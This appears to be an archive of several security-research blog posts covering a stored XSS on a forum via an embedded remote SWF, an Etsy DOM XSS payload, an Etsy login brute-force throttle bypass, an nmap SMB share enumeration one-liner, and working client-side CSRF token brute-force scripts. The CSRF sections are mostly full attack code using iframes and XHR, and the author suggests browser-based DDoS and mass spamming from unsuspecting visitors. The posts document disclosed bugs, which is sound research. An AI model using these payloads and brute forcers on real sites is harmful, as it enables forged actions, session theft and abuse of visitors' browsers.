Saturday, 23 February 2013

Stored XSS in X.com Using Embed


Back in December I came across a stored XSS vulnerability in x.com. I was unfortunately too slow in my reporting and was beaten to it by Subho Halder. It was quite funny as he plastered the site with his own swf file to demonstrate the vulnerability.

This is a quick post covering the vulnerability and how it was exploited.


<EMBED>

When it comes to sites that allow direct modification of html, the likelihood of XSS can go up massively. In the case of x.com they used a home-grown (or what appeared to be home-grown) comment system for their forum that let you edit the HTML of your comments. Although there were some protections in place to stop you inserting <script>, <object> and <applet> tags, they did allow you to use <img> and <embed>.

Note: For more info on tags and insertion of malicious code I found the following URL really useful:
http://www.technicalinfo.net/papers/CSS.html

I first tried <img> based XSS and it worked when previewing the post but when actually posting the onerror was stripped.

Preview:















Actual:



Instead of trying to find a filter bypass I decided to take a look at the embed tag.


Our friend the SWF file

Some of you may have read my previous post on SWF analysis where i looked at exploiting an SWF for XSS:

http://pwndizzle.blogspot.com/2012/10/xss-using-flash-swf-google-xss.html

In that post I focused on exploiting a poorly built SWF, however we can just build a malicious SWF that contains a javascript payload. Subho's SWF can be found here:

www.subhohalder.com/xysecteam.swf

Using SWFScan to analyse the file its really easy to spot the exploit code he used:

public static function main ()
{
    var __callResult_20 = getURL("javascript:alert(\"XYSEC TEAM
\"+document.cookie+\"
\"+document.domain)", "_self");
}

Looking up getURL from the Adobe site:
Loads a document from a specific URL into a window or passes variables to another application at a defined URL.

So we could grab a payload from a remote site or to perform XSS we could use "javascript:" which simply runs javascript locally in the browser in the security context of the current site.

And to deploy our SWF as a stored XSS attack all we need to do is embed our malicious content in a comment:
<embed allowscriptaccess="always" src="http://mysite.com/evil.swf" height=1 width=1></embed>

The allowscriptaccess parameter allows our remote script to communicate with the domain in which its embedded and I've used height=1 and width=1 to effectively make it invisible.

Whenever anyone viewed the comment the remote SWF would be loaded and they would be pwned XSS style, sweet!


Final Thoughts

Allowing users to edit HTML on your site can be a risky feature. Script, applet, object, iframe, image and embed tags need to be carefully filtered to prevent abuse. In this case it was a lack of SWF filtering that allowed us to use the embed tag for stored XSS.

Congrats to Subho for reporting this before me, his site can be found here: http://subhohalder.com/


Pwndizzle out

Saturday, 9 February 2013

Parsing Nmap smb-enum-shares Output

This is quick post about the Nmap smb-enum-shares script.

http://nmap.org/nsedoc/scripts/smb-enum-shares.html

I wanted to track down open shares on a /16 and was having some difficulty parsing the results. I did some googling but couldn't find any help. In the end a grep/awk one liner saved the day and that's what I'll be talking about.


Pew pew with nmap scripts

Before I delve into smb-enum-shares I wanted to big up one of my favourite posts about nmap scripts by Matt at AttackVector.org:

http://www.attackvector.org/favorite-nmap-nse-scripts/

He covers some of the most useful scripts http-enum, smb-check-vulns, smb-enum-users to name a few, and also looks at handling the output using some perl kungfu. The one script he missed out though was smb-enum-shares!


Your company and its shares

From a defensive perspective open shares are a pain in the ass. It can be difficult preventing users from creating shares, difficult to manage permissions and difficult to classify what information should/shouldn't be shared. Not to mention the risks of SMB and pass the hash.


Removing local admin rights, properly enforcing GPOs, using a host based firewall/ips or a document repository can help but there's always going to be some folks who slip by. This is where nmap and smb-enum-shares comes in. To find open shares just run the following:

nmap -T4 -v -oA myshares --script smb-enum-shares --script-args smbuser=pwndizzle,smbpass=mypassword -p445 192.168.1.1-255

Replacing the ip range and domain creds as necessary.

The nmap grepable format and xml format are usually easy to manipulate either on the command line or with Excel. However when you run the smb-enum-shares script the output isn't uniform and in my case I had such a large data set it was proving difficult to filter effectively.

Below is a demo output, notice the variety of data and the way it is spread over multiple lines:

Nmap scan report for 192.168.3.1
Host is up (0.0024s latency).
PORT    STATE  SERVICE
445/tcp closed microsoft-ds

Nmap scan report for server1.company.local (192.168.3.66)
Host is up (0.023s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   ADMIN$
|     Anonymous access: <none>
|     Current user ('pwndizzle') access: <none>
|   SecretShare
|     Anonymous access: <none>
|     Current user ('pwndizzle') access: READ/WRITE
|   C$
|     Anonymous access: <none>
|     Current user ('pwndizzle') access: <none>
|   IPC$
|     Anonymous access: READ <not a file share>
|_    Current user ('pwndizzle') access: READ <not a file share>


For two machines it's easy to understand. How about if you had 2000 machines? Not so easy :)



Bring on the Grep, Awk, Sed

My aim was to get a list of IP's and associated shares. No doubt there's a million and one ways to do this with different linux utilities, perl or python and the different nmap outputs. The simplest technique I could find was using a bit of awk/grep to parse the data from the basic nmap output file (.nmap):

cat sharescan.nmap|grep '|\|192'|awk '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ { line=$0 } /\|/ { $0 = line $0}1'|grep \||grep -v -E '(smb-enum-shares|access: <none>|ADMIN\$|C\$|IPC\$|U\$|access: READ)'|awk '{ sub(/Nmap scan report for /, ""); print }'
  • I first selected only the lines that contain an ip or a pipe character (lines with shares)
  • Then, as the share and ip are on different lines we select the ip column and copy it in front of the share lines.
  • We do some more grepping to remove unneeded nmap output and default shares.
  • And finally we perform a substitution to remove the starting text.

Here's the final output:


As either an attacker or defender you've now got yourself a clear list of shares that may contain sensitive information.

Regarding the one-liner, there are one or two points to note:
  • There are probably better ways to implement this! I'm no awk/sed master.
  • You'll need to change the "192" to fit your network.
  • By excluding shares we might actually exclude something we want to see.
  • When scanning you need to use valid AD credentials for the best results.
  • Although the nmap script output says READ,READ/WRITE, I didn't always find this was accurate. Often readable shares, well, weren't readable. However you may want to remove the "access: READ" exclusion as this also filters WRITE folders which can be pretty handy!

Although it hasn't been the focus of this post, the smb-enum-shares script can verily easily be used for network wide pass the hash and remote access testing. There's a great blog post about this by Zeknox here:



Final thoughts

Although often seen as an offensive tool, Nmap's ability to provide a quick view of your assets and running services make it an awesome tool for attackers and defenders alike.

Network wide scans are extremely quick, it's analyzing the results that actually takes some time. But with a little manipulation you can usually speed this process up. And when it comes to manipulation you can't get better than grep/awk/sed!

Also if anyone can come up with a simpler one liner let me know! ;)

Pwndizzle over and out

Saturday, 12 January 2013

Etsy Brute Force Counter Reset Flaw

Continuing my work with Etsy today I'm going to be talking about their login page and a brute force protection gone wrong.


Got brute force?

Everyone knows what brute force is so I'll keep this bit brief. In the context of credential brute forcing, the basic idea is to find valid username/password combinations by sending multiple requests to a login page and examining the responses. This is easy enough to perform by loading the login POST request into Burp Intruder, choosing variables, selecting your word lists and pressing start.

But what about mitigations? These days most web developers are wise to this type of attack and implement measures such as lock-outs, captchas and rate limiting to prevent brute force.


Getting around mitigations

There's always a way around mitigations and brute force is no exception. Spreading the attack across multiple accounts, using multiple ip addresses or rate limiting your requests can avoid lock outs and captcha's can be solved in an automated way with something like Tesseract.

And for all of the above subtle differences in responses from the server can sometimes offer important clues. Things like:
  • Size of reponse
  • HTTP response codes
  • How long it takes to receive response
  • Content of response
While tackling mitigations head on is possible often a little thinking outside the box can go a long way. Given that we can control the speed, order and content of our messages to the server is there some way to perform brute force and not trigger the mitigations?


A Case Study: Etsy.com

Etsy uses two mitigations to stop automated brute force. First up a throttling mechanism that kicks in after 20 incorrect logins. This is performed on a per ip basis and starts off using a 10 second delay (maybe increasing later). Although not as secure as a lock out/captcha, it still does a good job of slowing our brute force attack significantly.

 As we hit 20 requests we see the 10 second delay start.


The second mitigation is the use of a captcha after 20 failed logins.



As blocking is performed on a per ip basis, we could try a distributed attack. For example by using a hundred different addresses we could increase our maximum 20 requests to 2000 requests before being throttled/captcha-ed.

Realistically though 2000 requests isn't enough and although possible, getting hold of a hundred addresses (or a botnet) wouldn't be easy, not to mention having to deal with the captcha! Perhaps we can find another technique?


Breaking the lockout

Something I haven't mentioned is what happens when you login successfully.

To test the effect of a successful login I sent a series of incorrect logins (which triggered the throttling) followed by a correct login request and then more incorrect logins. Looking over the results I was surprised to see that as soon as the legitimate request was received by the server my requests were no longer being throttled and I wasn't required to enter captcha!

Below is the output from Burp:

Sending 20 incorrect logins causes the throttling to kick in (first red circle). I sent a legit request in my browser and the throttling was removed (second red circle). Also 2-3 second delays were caused by the free version of Burp Intruder :)


So it turns out Etsy used a server-side failed login counter that was reset any time you logged in successfully. All an attacker would need to do is send 19 bad requests followed by one good request and they would never have to deal with the throttling or captcha. Job done.


Final Thoughts

Brute force is an age old attack vector that often works just as well today as it did 20 years ago simply because authentication techniques have not moved with the times.

In this instance we've seen how just one logic flaw allowed us to side step all of the mitigations. A lack of defense in depth meant that once we had bypassed the failed login counter we were free to brute force to our hearts content.

Thanks again to Etsy for their swift response and fix!

PwnDizzle over and out.


P.S. I've got a new twitter account! Add me as a friend, follow me, tweet me, etc. @pwndizzle

Friday, 14 December 2012

DOM Based XSS in Etsy


I recently found a DOM based XSS vulnerability in the Registry search function on Etsy.com and thought I'd do a quick write up.


What is DOM based XSS?

DOM based XSS (In this article I'll abreviate to DBX) is slightly different to regular XSS in that we are targeting the underlying Javascript used on the client-side instead of reflecting our attack off some server-side function. The end goal is however the same, typically the execution of malicious Javascript within the trusted domain of the target site.

Usually to find DBX vulnerabilities we need to trace the input and output of client-side Javascript functions and find data flows with poor (or non-existent) input validation. Manual code analysis is possible but it's far quicker and easier to use an automated tool such as Dominator.

Dominator is implemented using a modified version of Firefox and will dynamically test pages as you browse. It specifically looks for sources and sinks, essentially where input data goes in and where it comes out. For data flows that are potentially vulnerable Dominator will give you a warning and a step by step view of how exactly the data is being processed. It's then down to you to pick apart the output to figure out if it can actually be exploited or not.

You can get a free trial of Dominator Pro at the official site here:

https://dominator.mindedsecurity.com/

Although there are multiple places where DBX vulnerabilities can appear, today I'm going to be looking at the handy little search box suggestion drop-down.


The humble suggestion function...

The search box suggestion menu is a staple function in most modern web sites. You enter some text in a search box and it gives you a set of suggestions back.

Me searching for a new dress on Etsy. (I ended up buying the hot pink dress ;) )

In the background there's a clever piece of Javascript running that detects when the input changes, dynamically processes the input and sends back suggestions. It's a useful function but does it validate my input?


Enter Dominator!

As mentioned before Dominator will break down the Javascript functions on the page and figure out where the sources and sinks are. Any time we can control a potentially sensitive sink Dominator will produce an alert and show us how our data is being processed.

How can we use this information to exploit a search field? Rather conveniently Stefano (the creator of Dominator) produced a handy tutorial here:

http://www.youtube.com/watch?v=f_It469LUFM

With Stefano's suggestions in mind I took a look at Etsy.com and came across the Registry suggestion field here:

http://www.etsy.com/registry

This field unsecurely used the search input and was vulnerable to DBX. I forgot to take a picture of the *actual* vulnerable code but here is equivalent code that is used for the main Etsy search function. Check it out:


Dominator tells us how our input data is manipulated as it passes through the javascript in the background. I started off by typing 'abc' in the search box and as you can see a replace function removed carriage returns, the input was made lowercase then concatenated with other strings and added to the page.

What's missing? Input validation! According to this input processing path, not once are special characters removed or replaced.


How can we exploit this?

Ideally we'd like to insert some malicious javascript in the page. How about inserting a sneaky iframe containing javascript?

<iframe/onload=alert("XSS")>

Simply inserting this code into the search box won't work as the output is still inside various quotation marks and HTML tags. Looking down the screenshot above, the bottom part shows our finished html that will be written to the page. In this code you'll notice two possible injection points, the first is by the span tags, the second is in the list object's data-value.

The first injection point actually had some additional checks but the second injection point didn't. So to exploit we just close off the quote for the data-value, close off the list tag and then insert our iframe.

a"</li><iframe/onload=alert("XSS")>

Entering this query into the search box would successfully lead to exploitation.  

Although I didn't review the code, I believe the main search box isn't vulnerable because of two mitigations. The first is that if your query contains special character such as slashes, quotes or brackets, the search box redirects you to a default text "find shop names containing" which prevents usage of the suggestion function. The second mitigation involves a maximum length on the suggestion. If your input is too long you will no longer be given suggestions.


Final Thoughts

This vulnerability yet again demonstrates the importance of using proper input validation for ALL inputs. Even in 2012 (almost 2013!) developers are still missing the basics it seems.

DBX is an interesting attack vector that's not as well known or researched as regular XSS partly due to the difficulty of dynamically analysing Javascript. Dominator has really filled a gap in the market providing both attackers and defenders with a way to detect potential DBX vulnerabilities. Props to Stefano for making such an awesome tool.

Lastly I want to give a shout out to Etsy for a quick response/fix as well as the bounty!

Cheers,

The PwnDizzler

Tuesday, 4 December 2012

CSRF Token Brute Force Using XHR

In my last post I mentioned I had been working on a client-side XHR based CSRF token brute forcer. In this post I'm going to talk in-depth about the script I've developed, how it performs compared to other techniques and the limitations I encountered.

Previously I covered the basics of CSRF and demo'ed two iframe based brute force scripts. The posts can be found here:

http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html

And here:

http://pwndizzle.blogspot.com/2012/11/client-side-csrf-token-brute-forcing.html


CSRF token brute forcing: IFRAME vs XHR

Having already introduced client-side CSRF token brute forcing in my previous post I'm going to jump straight into how techniques using iframes and XHR compare with each other.

Fundamentally iframes and xhr are completely different things. Iframes provide a way to embed content in a page. In the previous examples however we used them as a way to send hundreds of arbitrary requests to a third party without leaving the current page. Although iframes can do this, they were never optimised for it.

XMLHttpRequest on the other hand was created as a way to send/receive arbitrary data. The granularity offered by XHR allows greater control of the connection and greater efficiency when it comes to brute forcing.


Doesn't Same Origin Policy prevent Cross-Domain Requests?

I meant to cover this in the previous post but didn't have time. The short answer is no.

Iframes by design are allowed to load cross domain content but browser's prevent cross domain interaction between the page and the iframe. It is still possible to send a request through an iframe (for CSRF), we just can't see the response.

One of the most interesting attacks involving iframes is click-jacking, where we embed a legitimate site within a malicious page we control and trick the user into interacting with the embedded page. Wikipedia:

http://en.wikipedia.org/wiki/Clickjacking

Most large sites now implement the x-frame-options header to prevent framing of content. If a server responds with the x-frame-options header set to DENY, the browser will not render the content. Lets compare the response headers of Facebook and Amazon:

Facebook homepage, notice the X-Frame-Options header.

Amazon homepage, no X-Frame-Options header!


As you can see below the Amazon main page is open to click jacking.



Anyhow I'm getting a bit off topic, back to XHR! XHR like any other browser request is subject to the usual restrictions, by default cross domain requests are allowed but responses are never rendered. There are some exceptions of course such as scripts, CSS, images and CORS.

But for CSRF though, the important point is that browsers allow you to send cross domain requests. You can't see responses but in a CSRF attack you don't care about responses!

For more information on XHR its worth checking out:



Lets build a brute forcer!

Following on from my previous work I decided to write a XHR-based CSRF token brute forcer to see if I could speed up the brute force process. I had a search around on Google and couldn't find a CSRF token brute force script that used XHR, so I decided to write my own.

1. XHR Code

I started off with some basic XHR code. Shreeraj Shah covers a simple XHR CSRF example here:

http://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html

var xhr = new XMLHttpRequest();
var url = 'http://192.168.1.124/submit.php';
xhr.open('POST',url, true);
xhr.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials='true';
var datas = 'name=a&phone=b';
xhr.send(datas);

It's pretty self explanatory, we create our XHR connection object, set basic request parameters with open, define extra headers, create the data string we want to send and send it.

Shreeraj's example includes the withCredentials method to ensure our request would use the user's cookie when sent and he also sets the content-type to plain text. The site I was testing against required me to use a content-type of "application/x-www-form-urlencoded" and didn't enforce preflight checks so I changed this parameter.


2. Iteration To Send Multiple Requests

Just like the previous brute forcers I also found setInterval and setTimeout to be the quickest way to send and control XHR. I configured setInterval to repeatedly call a function containing the XHR connection code. SetTimeout stops setInterval after a specified time period and outputs the finished message to the screen.

I used a set of global variables to maintain the current state of the attack, each new request would use the current values and increment them. I did try using a FOR loop to spam requests but I found Chrome throttled the requests to one per second.

var task = setInterval("openXHR();", 1);

setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000); 

I created some funky incrementing code to allow iteration through number or letter arrays and also to allow arbitrary positioning of variables. No doubt this can be cleaned up a bit.


3. Maximizing Throughput: A Balancing Act

I played around quite a bit with different ways to increase the throughput. This was a careful balancing act between the number of connections, the number of requests being sent to the connections and how fast connections could be established and pulled down.


  • Multiple XHR Objects
The first idea I had to increase throughput was using multiple XHR objects. Browsers usually allow 6 concurrent connections to the same site so why not create 6 XHR objects to work in parralel? Multiple connections working in parallel means more requests per second right? Kinda.

I discovered Chrome would use the same connection for sending multiple requests provided you gave it enough time for each request to receive a response. If you start forcing requests down the same connection Chrome opens new connections. So it turns out you don't really need to use multiple objects, with a single XHR object Chrome automatically runs at maximum speed.


Using an interval of 50ms Chrome will use a single connection (src port)


With an interval of 10ms Chrome opens a new connection for each request

(For attacking sites locally multiple XHR objects will give you a speed increase as responses are received a lot quicker. However when you try this with a remote site the latency causes requests to start backing up and this technique no longer works.)


  • Aborting connections after the request
Requests were typically taking 10ms to establish a connection, 1ms to send data and 10ms to wait for the confirmation ACK. To prevent the browser waiting for a response I tried using the abort method. My aim was to close the connection as soon as the request was sent as this would free up one of the browser's concurrent connection slots.









Typical timings for a request (see Time column)

I tested this by performing xhr.send followed by a call to a wait function, then xhr.abort. This technique worked but was not as fast as I had hoped and capped out around 40 requests per second.






Using the abort method we send a FIN after our request is sent

As you can see from the packet capture, the abort method sends a FIN to gracefully close the connection and the connection stays open waiting for a FIN ACK. Compared to our initial run its no faster. Ideally we want to close the connection as quickly as possible so would rather send an RST packet but I couldn't find a way to do this :(


  • Keeping it simple?!?
Often the simplest solution is the best solution so I tried using a single XHR object and just sending requests as fast as possible using setInterval with a 1 millisecond wait. Interestingly this produced the highest throughput per second, around 60 requests per second.


Spamming requests!

The catch with this technique is that its unreliable. You will often lose packets as you are trying to send data when no connection slot is free. Using an interval of just 1 millisecond I sometimes saw losses of up to 75%. The interval can be adjusted according to how reliable you need the attack to be.


4. The Finished Product

Putting everything together here's the final code for the brute forcer:

<html>
<body>
<div id="a">Sending request: <output id="result"></output></br>
<div>NOTE: Browser requests sent != Actual requests sent (Check wireshark)</div>
<output id="done"></output></div>

<script>
//Create XHR objects
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();

//Global variables
var url = 'http://192.168.1.124/submit.php';
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var alphabet = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var i=0;
var j=0;
var k=0;
var l=0;
var m=0;

//Simple wait function
function tea_break(msec) { 
 var date = new Date(); 
 var curDate = null; 
 do { curDate = new Date(); } 
 while(curDate - date < msec); }

//Function to send a request using current parameters
function openXHR(){
 
 xhr1.open('POST',url, true);
 xhr1.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
 xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 xhr1.withCredentials='true';
 var data1 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
 xhr1.send(data1);
 //***Optional wait and abort
 //tea_break(5);
 //xhr.abort();
 //Screen output
 document.getElementById('result').innerText = "" + j + k + l + m;
 
 //***Optional second XHR object
 //xhr2.open('POST',url, true);
 //xhr2.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
 //xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 //xhr2.withCredentials='true';
 //var data2 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
 //xhr2.send(data2);

 //Will need to change limits/logic for alphabet set
 if(m<9){
 m++;
 } else{
 m=0;
 }
 //Tick over to 0 at end of set
 if(m==0 && l==9){
 l=0;
 } else if(m==0){
 l++;
 }
 
 if(m==0 && l==0 && k==9){
 k=0;
 } else if(m==0 && l==0){
 k++;
 }
 
 if(m==0 && l==0 && k==0 && j==9){
 j=0;
 } else if(m==0 && l==0 && k==0){
 j++;
 }
 
}

//Speed at which requests are sent
var task = setInterval("openXHR();", 1);
//Stop sending after x milliseconds
setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000); 

</script>

</body>
</html>




Show me some benchmarks!

For this set of testing I relied on Wireshark to get a definitive answer of what packets were actually being sent. Chrome (and likely other browsers) show requests taking place in the developer tools but in reality only a limited number actually complete successfully.

Wired vs wireless had a big impact so I performed all tests plugged in via ethernet. Responses were typically 10ms for wired and 30ms for wireless.

I've also included revised results from my previous tests using IFrames. Results show the maximum number of requests per second.









Browser
Chrome22 IE9 FF16

Multi-IFrame Local 29 25 14


Remote 7 8 7

Single IFrame Local 60 79 10


Remote 50 1 10

XHR Local 110 Error 70


Remote 55 Error 65








Non-Browser





Python Remote 300



BlackMamba Remote 3000?










The good news is that the XHR method is faster than the other techniques especially for local attacks. The bad news is that XHR is only marginally faster and is still too slow to crack most CSRF tokens in use today.

The same limitations I discussed in the previous post still apply, with latency and concurrent connection limits having the biggest impact on throughput. Traditional CSRF prevention techniques such as complex tokens or Referrer/Origin checking also prevent this type of CSRF attack.

I've included some numbers for a direct brute force attack using python. At BlackHat this year Dan Kaminsky mentioned BlackMamba which is a concurrent networking library for Python. Using this library he was able to scan 3000 addresses per second. Sweet!

http://www.slideshare.net/dakami/black-ops-2012




Final Thoughts

So we have a brute forcer, what now? Find a page with a weak token, build a malicious page, trick users into visiting your page and enjoy the CSRF, right? ;)

After working on the iframe based brute forcers and the XHR version I feel a little disappointed I couldn't push the requests per second into the hundreds or thousands. For most sites token entropy isn't that bad and realistically you'd need to send 1,000 to 100,000 minimum requests per second for an attack to succeed given the short time frame offered by a drive-by style attack. Unfortunately it's just not feasible to send that many requests with current technology.

Whilst the main focus of my work has been brute force CSRF, the scripts I've been demonstrating essentially provide a client-side mechanism for sending thousands of post requests. Such a mechanism could be used for all kinds of mischief, browser based DDOS and mass spamming spring to mind.

Probably the best thing about these attacks is that all requests would come from unsuspecting users who just happen to run your javascript. The only evidence of the true origin of the attack would be the referrer header of requests and if the malicious javascript was hosted on a legitimate site there would be no way to trace the true origin at all.

I hope you guys have found this interesting, any comments, questions or corrections just leave a message below. Also if anyone can suggest any alternatives to iframes or XHR please let me know! :)

Cheers,

Pwndizzle out

Saturday, 24 November 2012

Client-side CSRF Token Brute Forcing


While playing around with some CSRF examples the idea of client-side CSRF token brute forcing came into my head. I'd never heard of this type of attack before and did some Googling. I was interested to see that although the attack was known about there was very little in terms of proof of concept code or in-depth research. I decided to dig further into this area and play with a few examples.

Note: This is the second part of a journey into CSRF. To learn more about the basics of CSRF please check out my previous post here: http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html


TL;DR
Create a page containing malicious javascript, when someone visits the page the javascript runs forcing the user to send requests to brute force their own CSRF token on a remote site. Win!


Stuff you'll need

To actually play with the examples below you'll need:
  • A web server running on your machine - Apache on Linux or Xampp (which contains Apache) on Windows.
  • Code editor. I use Notepad++ but there's also the classics vim, gedit, emacs :)
  • Debugging tools. Browser developer tools - Chrome (right click inspect element), IE (press F12) and Firefox (Firebug or HttpFox). Or you could use Burp or Zap (although they can slow things down). Also Wireshark is handy for more low level investigation.
  • A CSRF example to actually attack. I used Debasish Mandal's simple CSRF example here: http://www.debasish.in/2012/06/bypassing-csrf-protectionbrute-force.html


What is client-side CSRF token brute forcing?

CSRF prevention often involves the use of a unique token to prevent the attacker from crafting a valid request ahead of time. While the attacker may not be able to directly access this token, they may be able to just guess or brute force the token instead.

Client-side CSRF brute forcing uses the same concept as traditional token brute forcing i.e. iterating through possible token values until we find a valid token, but combined with CSRF. So instead of sending requests from our attacking machine to the remote server with our cookie, we get the target user to send multiple requests to the remote server with their cookie. Eventually they will guess the correct token and the malicious request will be accepted by the server.

In a typical brute force attack we'd want to send requests and monitor the responses for an indicator that the attack succeeded. However in a CSRF brute force attack we never receive or even want to receive responses. A subtle point but worth bearing in mind as it can speed up the brute forcing process.

Also note that for this attack to succeed the remote site must be using a weak CSRF token (otherwise it will take too long to brute force) and the target user must be able to run javascript.


Surely someone's done this before?

I checked Google for previous research but couldn't find much. There were lots of articles about the CSS history hack that was around a few years ago (Nice attack but sadly it doesn't work in modern browsers). Also there was a talk from BlackHat 2009 where the guys obtained access to CSRF tokens by taking advantage of information leakage:

 http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf

Again, cool attack, but not what I was looking for. After some more digging I came across two decent posts, one written by Debasish Mandal on his awesome blog and another by Tyler Borland:



Both guys present proof of concept CSRF brute forcers that use iframes to send multiple CSRF post requests with different tokens. Although great scripts neither was optimised for speed or handling thousands of requests. I used both scripts as a starting point for building my brute forcers and modified them to increase their functionality, simplify the code and speed them up.

When running these scripts the developer tools might show errors like "request aborted" or "canceled", these can often be ignored as the requests are actually still being sent. Burp or Wireshark can be used to verify what is actually being sent/received.


Bring on the Javascript!
Example #1

Debasish's script focused on creating a set of iframes that each contained a post request, each iframe would tackle a different CSRF token. Debasish used two files one for the generation script and one for the post form, this increased the volume of code but also the execution time. I combined the two together. 

<html>
<body>
<div id="a">Launching brute csrf...</div>

<script>
//Character sets to use
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");

//Iterate through list
//May need extra for loops for additional character sets
for (var j = 0 ;j<=9;j++)
{
 for (var i = 0 ;i<=9;i++)
 {
 //Create frame
 frame = document.createElement('iframe');
 frame.setAttribute('id','myframe');
 frame.setAttribute('width','0');
 frame.setAttribute('height','0');
 frame.setAttribute('frameborder','0');
 document.body.appendChild(frame);

 //Add post form and javascript to frame
 //Add/remove character sets and positions where appropriate
 frame.contentWindow.document.write('\<script\>function fireform(){document.getElementById("csrf").submit();}\</script\>\<body onload="fireform()"\>\<form id="csrf" method="post" action="http://192.168.1.117/ww/submit.php"\>\<input name="name" value="bill"\>\<input name="phone" value="123456"\>\<input name="email" value="a@a.com"\>\<input name="csrf" value="' + numbers[j] + numbers[i] + '"\>\<input type="submit"\>\</body\>');
 frame.contentWindow.document.close(); 
 }
}
</script>
</body>
</html>


My version is a bit faster and more compact making it easier to test/modify. The biggest issue with this script is that it doesn't scale as each request has it's own iframe. When brute forcing we're going to need to send potentially thousands of requests and creating, adding and loading thousands of iframes just isn't practical.

Using setInterval() it would be possible to process iframes in batches but overall this technique is just not as efficient as Tyler's technique below.


Example #2

Tyler Borland's script was originally designed for denial of service through account lock-outs but I've modified it for brute force. The concept is quite simple, there's a post form that contains a token value, this value is repeatedly incremented and submitted to an iframe. Usually when you post data with a form the page will navigate to the response from the server. By sending our post request to the iframe the iframe will load the response and the user remains on our malicious page allowing the attack to continue! The important variable here is "target" this redirects our post request to the iframe.

Tyler originally used the iframe onload function to automatically send the next request once the current request had completed. Whilst this is a clean and effective technique it's not the fastest. For some reason I was getting a 500ms delay before any response packet was received. I couldn't find the cause of the delay but by removing the onload and implementing a threaded approach with setInterval I was able to send requests at a faster rate. I also added some simple brute force logic, character sets and basic output.


<!DOCTYPE html>
<html>
<body>

<!--Info on progress so far-->
<div id="a">Sending request: <output id="result"></output>

<!--Form that will be submitted-->
<form id="myform" action="/ww/submit.php" target="my-iframe" method="post">
  <input name="name" type="hidden" value="hacked">
  <input name="phone" type="hidden" value="hacked">
  <input name="email" type="hidden" value="hacked">
  <input id="tok" name="csrf" type="hidden" value="">
  <input type="submit"> 
</form>

<script type="text/javascript">

var alphabetlower = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
var alphabetupper = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var alphabetcombo = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var allcombo = new Array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");

var i=0;
var j=0;
var k=0;
var l=0;
var m=0;

//OPTION #1 - Without onload
//Function to submit the form once, this is repeatedly called
function submit1(){
 //Assign token value. Can switch numbers array for alphabet array depending on token.
    document.getElementById('tok').value= "" + numbers[k] + numbers[l] + numbers[m];
    //Submit form
 document.getElementById("myform").submit();
 //Show token on page
 document.getElementById('result').innerText = "" + i + j + k + l + m;
 
 //Increment token, reset to 0 when we reach 9 e.g. 009 to 000, L is incremented later
 //For alphabet array 9 needs to be switched for 25
 if(m<9){
 m++;
 } else{
 m=0;
 }
 //Tick over at end of set 9 to 0.
 if(m==0 && l==9){
 l=0;
 } else if(m==0){
 l++;
 }
 //Tick over at end of set 9 to 0. 
 if(m==0 && l==0 && k==9){
 k=0;
 } else if(m==0 && l==0){
 k++;
 }
 
}

//Submit form every <x> milliseconds
var task = setInterval("submit1()",10);
//After <x> milliseconds has passed stop submitting form
setTimeout("clearInterval(task);alert('Requests sent: ' + k + l + m);", 10000);


//OPTION #2 - Using onload
//If you want to use iframe with onload, comment out above two lines and uncomment below:
function submit2(){
   
   if(i<100){
 document.getElementById('tok').value=i;
    document.getElementById("myform").submit();
 i++;
 } else{
 var t2=new Date();
 alert('Finished in ' + (t2-t1)/1000 + ' seconds');
 }
}
//submit2();

</script>

<!--OPTION #1 - no onload-->
<iframe id="my-iframe" name="my-iframe"></iframe>
<!--OPTION #2 - using onload-->
<!--<iframe id="my-iframe" name="my-iframe" src="/ww/submit.php" onload="submit2()"></iframe>-->
<!--In Chrome if x-frame-options is set to Deny, the page won't load and onload won't trigger!-->

</body>
</html>


The brute force logic relies on setInterval, setTimeout and global variables as I couldn't get FOR loops to work. I believe this relates to the way the DOM loads content. You essentially need to execute javascript, allow the page to load, then run some more javascript, allow page to load and repeat. I'll stop now as real life web developers are probably cringing at this point, haha, hey I'm no javascript expert!

When testing this code the important parameters are the rate at which requests are sent, controlled by setInterval, and the total run time, which is controlled by setTimeout. Times are in milliseconds so for example 1000 milliseconds = 1 second. Also you will need to change the form's "action" parameter to the page you want to attack.


Example #3 (the mystery prize!)

I've also been working on my own brute force script that uses XHR which I'm going to talk about in a subsequent post, so stay tuned!

What's the performance like?

